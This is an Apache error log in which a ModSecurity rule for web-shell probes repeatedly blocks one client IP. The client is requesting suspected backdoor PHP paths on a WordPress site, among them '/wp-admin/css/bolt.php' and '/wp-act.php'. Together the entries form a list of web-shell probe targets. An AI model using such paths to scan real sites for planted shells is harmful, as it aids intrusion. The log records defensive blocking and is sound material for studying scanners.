[Fri Apr 24 01:51:11.439385 2026] [:error] [pid 64998:tid 65003] [client 74.248.129.192:65267] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aepcD4V5EysYcTLjmwgz-QAAAcE"]
[Fri Apr 24 01:51:11.967846 2026] [:error] [pid 42972:tid 43021] [client 74.248.129.192:18765] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aepcD8OAb-3sOknsk4fDYAAAAEU"]
[Fri Apr 24 01:51:12.485979 2026] [:error] [pid 42972:tid 43032] [client 74.248.129.192:38020] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aepcEMOAb-3sOknsk4fDYQAAAFA"]
[Fri Apr 24 01:51:13.043575 2026] [:error] [pid 65000:tid 65056] [client 74.248.129.192:63343] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aepcEb6vRb9j6psK2ZZ8LQAAAhc"]
[Fri Apr 24 01:51:13.583448 2026] [:error] [pid 42973:tid 43057] [client 74.248.129.192:64833] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aepcEW6I0QqmmmLTHE2D5wAAAI4"]
[Fri Apr 24 01:51:14.149707 2026] [:error] [pid 65000:tid 65045] [client 74.248.129.192:64941] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aepcEr6vRb9j6psK2ZZ8NAAAAgw"]
[Fri Apr 24 01:51:14.663412 2026] [:error] [pid 42973:tid 43053] [client 74.248.129.192:38058] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aepcEm6I0QqmmmLTHE2D6wAAAIo"]
[Fri Apr 24 01:51:15.250722 2026] [:error] [pid 64998:tid 65009] [client 74.248.129.192:64413] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aepcE4V5EysYcTLjmwg0BQAAAcc"]
[Fri Apr 24 01:51:15.793310 2026] [:error] [pid 64998:tid 65026] [client 74.248.129.192:63387] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aepcE4V5EysYcTLjmwg0BgAAAdg"]
[Fri Apr 24 01:51:16.341485 2026] [:error] [pid 64998:tid 65018] [client 74.248.129.192:64343] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "aepcFIV5EysYcTLjmwg0DAAAAdA"]
[Fri Apr 24 01:51:16.864321 2026] [:error] [pid 65000:tid 65049] [client 74.248.129.192:65293] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "aepcFL6vRb9j6psK2ZZ8PAAAAhA"]
[Fri Apr 24 01:51:17.381156 2026] [:error] [pid 42972:tid 43029] [client 74.248.129.192:63860] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "aepcFcOAb-3sOknsk4fDaQAAAE0"]
[Fri Apr 24 01:51:17.912315 2026] [:error] [pid 65000:tid 65046] [client 74.248.129.192:63843] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "aepcFb6vRb9j6psK2ZZ8PwAAAg0"]
[Fri Apr 24 01:51:18.428827 2026] [:error] [pid 42971:tid 43009] [client 74.248.129.192:64436] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aepcFjEP2_5RswrH8bFQ8gAAABc"]
[Fri Apr 24 01:51:18.976858 2026] [:error] [pid 64998:tid 65023] [client 74.248.129.192:9646] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aepcFoV5EysYcTLjmwg0EgAAAdU"]
[Fri Apr 24 01:51:19.557074 2026] [:error] [pid 65000:tid 65029] [client 74.248.129.192:64399] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aepcF76vRb9j6psK2ZZ8TQAAAgA"]
[Fri Apr 24 01:51:20.116773 2026] [:error] [pid 59700:tid 59704] [client 74.248.129.192:64878] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aepcGJXyGZJFeAIDWtl3XgAAAUI"]
[Fri Apr 24 01:51:20.655271 2026] [:error] [pid 64998:tid 65010] [client 74.248.129.192:64945] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ol.php"] [unique_id "aepcGIV5EysYcTLjmwg0HwAAAcg"]
[Fri Apr 24 01:51:21.243482 2026] [:error] [pid 65000:tid 65041] [client 74.248.129.192:64869] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ol.php"] [unique_id "aepcGb6vRb9j6psK2ZZ8UQAAAgg"]
[Fri Apr 24 01:51:21.796174 2026] [:error] [pid 64998:tid 65017] [client 74.248.129.192:64921] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ol.php"] [unique_id "aepcGYV5EysYcTLjmwg0JwAAAc8"]
[Fri Apr 24 01:51:22.398859 2026] [:error] [pid 64998:tid 65009] [client 74.248.129.192:9619] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ol.php"] [unique_id "aepcGoV5EysYcTLjmwg0KwAAAcc"]
[Fri Apr 24 01:51:23.025893 2026] [:error] [pid 64998:tid 65004] [client 74.248.129.192:63406] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "aepcG4V5EysYcTLjmwg0MAAAAcI"]
[Fri Apr 24 01:51:23.579540 2026] [:error] [pid 42972:tid 43036] [client 74.248.129.192:63815] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "aepcG8OAb-3sOknsk4fDawAAAFQ"]
[Fri Apr 24 01:51:24.158026 2026] [:error] [pid 59700:tid 59710] [client 74.248.129.192:63830] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "aepcHJXyGZJFeAIDWtl3ZQAAAUg"]
[Fri Apr 24 01:51:24.728594 2026] [:error] [pid 42972:tid 43018] [client 74.248.129.192:65272] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "aepcHMOAb-3sOknsk4fDcQAAAEI"]
[Fri Apr 24 01:51:25.242454 2026] [:error] [pid 65000:tid 65032] [client 74.248.129.192:18799] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "aepcHb6vRb9j6psK2ZZ8VgAAAgM"]
[Fri Apr 24 01:51:25.762079 2026] [:error] [pid 65000:tid 65045] [client 74.248.129.192:9602] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "aepcHb6vRb9j6psK2ZZ8WgAAAgw"]
[Fri Apr 24 01:51:26.280188 2026] [:error] [pid 65000:tid 65049] [client 74.248.129.192:62918] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "aepcHr6vRb9j6psK2ZZ8YAAAAhA"]
[Fri Apr 24 01:51:26.833644 2026] [:error] [pid 65000:tid 65055] [client 74.248.129.192:38022] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "aepcHr6vRb9j6psK2ZZ8ZQAAAhY"]
[Fri Apr 24 01:51:27.397589 2026] [:error] [pid 42973:tid 43045] [client 74.248.129.192:63328] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/style.php"] [unique_id "aepcH26I0QqmmmLTHE2D_AAAAII"]
[Fri Apr 24 01:51:27.944207 2026] [:error] [pid 43083:tid 43099] [client 74.248.129.192:65232] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/style.php"] [unique_id "aepcHzC5hrvNXosL83KtegAAAM4"]
[Fri Apr 24 01:51:28.514783 2026] [:error] [pid 42971:tid 43008] [client 74.248.129.192:64933] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/style.php"] [unique_id "aepcIDEP2_5RswrH8bFQ-QAAABY"]
[Fri Apr 24 01:51:29.028077 2026] [:error] [pid 42972:tid 43039] [client 74.248.129.192:64861] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/style.php"] [unique_id "aepcIcOAb-3sOknsk4fDeAAAAFc"]
[Fri Apr 24 01:51:29.571847 2026] [:error] [pid 42972:tid 43017] [client 74.248.129.192:18764] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "aepcIcOAb-3sOknsk4fDeQAAAEE"]
[Fri Apr 24 01:51:30.115022 2026] [:error] [pid 42972:tid 43030] [client 74.248.129.192:18783] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "aepcIsOAb-3sOknsk4fDgAAAAE4"]
[Fri Apr 24 01:51:30.630837 2026] [:error] [pid 42972:tid 43028] [client 74.248.129.192:63811] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "aepcIsOAb-3sOknsk4fDggAAAEw"]
[Fri Apr 24 01:51:31.147052 2026] [:error] [pid 42971:tid 43003] [client 74.248.129.192:64330] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "aepcIzEP2_5RswrH8bFQ-wAAABE"]
[Fri Apr 24 01:51:31.770156 2026] [:error] [pid 46953:tid 46957] [client 74.248.129.192:64411] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aepcI0nlpdHh-P6wKbp57wAAAkE"]
[Fri Apr 24 01:51:32.357653 2026] [:error] [pid 42971:tid 42994] [client 74.248.129.192:64866] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aepcJDEP2_5RswrH8bFQ_gAAAAg"]
[Fri Apr 24 01:51:32.899189 2026] [:error] [pid 42972:tid 43029] [client 74.248.129.192:64936] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aepcJMOAb-3sOknsk4fDhAAAAE0"]
[Fri Apr 24 01:51:33.418636 2026] [:error] [pid 42971:tid 43007] [client 74.248.129.192:62928] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aepcJTEP2_5RswrH8bFRAAAAABU"]
[Fri Apr 24 01:51:33.990875 2026] [:error] [pid 42972:tid 43026] [client 74.248.129.192:64362] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "aepcJcOAb-3sOknsk4fDiAAAAEo"]
[Fri Apr 24 01:51:34.606790 2026] [:error] [pid 42972:tid 43040] [client 74.248.129.192:18791] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "aepcJsOAb-3sOknsk4fDiwAAAFg"]
[Fri Apr 24 01:51:35.223618 2026] [:error] [pid 65000:tid 65055] [client 74.248.129.192:64832] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "aepcJ76vRb9j6psK2ZZ8bQAAAhY"]
[Fri Apr 24 01:51:35.782906 2026] [:error] [pid 42973:tid 43066] [client 74.248.129.192:65268] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "aepcJ26I0QqmmmLTHE2EAwAAAJc"]
[Fri Apr 24 01:51:36.325408 2026] [:error] [pid 43083:tid 43102] [client 74.248.129.192:38062] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "aepcKDC5hrvNXosL83KtfAAAANE"]
[Fri Apr 24 01:51:36.931336 2026] [:error] [pid 65000:tid 65039] [client 74.248.129.192:38060] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "aepcKL6vRb9j6psK2ZZ8cgAAAgY"]
[Fri Apr 24 01:51:37.453144 2026] [:error] [pid 65000:tid 65048] [client 74.248.129.192:65298] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "aepcKb6vRb9j6psK2ZZ8dAAAAg8"]
[Fri Apr 24 01:51:38.007933 2026] [:error] [pid 65000:tid 65056] [client 74.248.129.192:64856] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aaa.php"] [unique_id "aepcKr6vRb9j6psK2ZZ8eQAAAhc"]
[Fri Apr 24 01:51:38.595120 2026] [:error] [pid 59700:tid 59720] [client 74.248.129.192:64373] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "aepcKpXyGZJFeAIDWtl3dAAAAVI"]
[Fri Apr 24 01:51:39.147200 2026] [:error] [pid 65000:tid 65030] [client 74.248.129.192:64887] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "aepcK76vRb9j6psK2ZZ8fgAAAgE"]
[Fri Apr 24 01:51:39.660986 2026] [:error] [pid 65000:tid 65053] [client 74.248.129.192:64371] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "aepcK76vRb9j6psK2ZZ8gwAAAhQ"]
[Fri Apr 24 01:51:40.181757 2026] [:error] [pid 65000:tid 65044] [client 74.248.129.192:64875] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "aepcLL6vRb9j6psK2ZZ8iQAAAgs"]
[Fri Apr 24 01:51:40.735194 2026] [:error] [pid 65000:tid 65046] [client 74.248.129.192:64923] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aepcLL6vRb9j6psK2ZZ8jAAAAg0"]
[Fri Apr 24 01:51:41.322901 2026] [:error] [pid 65000:tid 65030] [client 74.248.129.192:63378] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aepcLb6vRb9j6psK2ZZ8kQAAAgE"]
